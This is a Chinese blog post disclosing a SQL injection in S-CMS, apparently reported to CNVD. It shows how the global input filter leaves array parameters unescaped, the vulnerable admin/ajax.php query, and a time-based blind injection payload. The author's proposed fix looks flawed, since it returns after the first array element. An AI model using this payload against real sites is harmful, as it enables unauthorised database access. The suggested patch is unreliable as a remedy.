发布于2021-06-07 21:36 阅读(1366) 评论(0) 点赞(16) 收藏(2)
目前已交CNVD,出于其影响综合考虑,想了几天还是打算分享给大家,希望给大家带来更多的启发
前几天挖了一下S-CMS的SQL注入,这里不得不引起我的一个思考,很多时候开发者只是误认为自己的全局Waf很安全,其实并不是,接下来我们就来看看这个SQL注入,当然这个CMS还有其他注入方式这里只是因为觉得这个点好玩所以才发这篇文章,只是想告诉大家,全局waf
的错误对整个CMS来说都是致命的
在这个CMS
很多请求都是通过admin/ajax.php
去实现,我们来看看头部,引入了三个文件
<?php
require '../function/conn.php';
require '../function/function.php';
require '../function/mobile.php';
这里我节约时间,直接给大家看第二个,能看到这里是有一个全局参数的Waf
$_POST = array_map('check_input', $_POST);
$_GET = array_map('check_input2', $_GET);
$_COOKIE = array_map('check_input2', $_COOKIE);
$_REQUEST = array_map('check_input2', $_REQUEST);
$_SERVER = array_map('check_input2', $_SERVER);
这个check_input2
还算是安全
function check_input2($value){
if (is_array($value)){
return $value;
}else{
$value=str_replace("*","__",$value);
$value=str_replace("'","__",$value);
$value=str_replace("\"","__",$value);
$value=str_replace("<","__",$value);
$value=str_replace(">","__",$value);
$value=str_replace(" ","__",$value);
$value=str_replace("$","__",$value);
$value=str_replace("\t","__",$value);
return addslashes(trim($value));
}
}
可是check_input
却并不是,我们能猜测到开发者是希望能够对数组形式进行过滤可是他没做到,因此不难得知这里可能存在参数注入
function check_input($value){
if (is_array($value)){
return $value;
}else{
return addslashes(trim($value));
}
}
我们使用全局搜索一波\$_POST\[\$[a-zA-Z0-9]\]\[
,果然是有的,那我很容易对其进行注入
看看这里是
if (splitx($x, "_", 0) == "hide") {
mysqli_query($conn, "update " . TABLE . "menu set U_hide=" . $_POST[$x][0] . " where U_id=" . splitx($x, "_", 1));
}
我们传参,也就构成了注入
hide_1[]=1 AND (SELECT if(1=1,sleep(5),1))
我个人对此的修复方式
function check_input($value){
if (is_array($value)){
foreach ($value as $k=>$v) {
return check_input($v);
}
}else{
return addslashes(trim($value));
}
}
作者:来呀来呀开心吧
链接:http://www.phpheidong.com/blog/article/89948/6e51b0ecc45574c056e9/
来源:php黑洞网
任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任
昵称:
评论内容:(最多支持255个字符)
---无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事,而不是让内心的烦躁、焦虑,坏掉你本来就不多的热情和定力
Copyright © 2018-2021 php黑洞网 All Rights Reserved 版权所有,并保留所有权利。 京ICP备18063182号-4
投诉与举报,广告合作请联系vgs_info@163.com或QQ3083709327
免责声明:网站文章均由用户上传,仅供读者学习交流使用,禁止用做商业用途。若文章涉及色情,反动,侵权等违法信息,请向我们举报,一经核实我们会立即删除!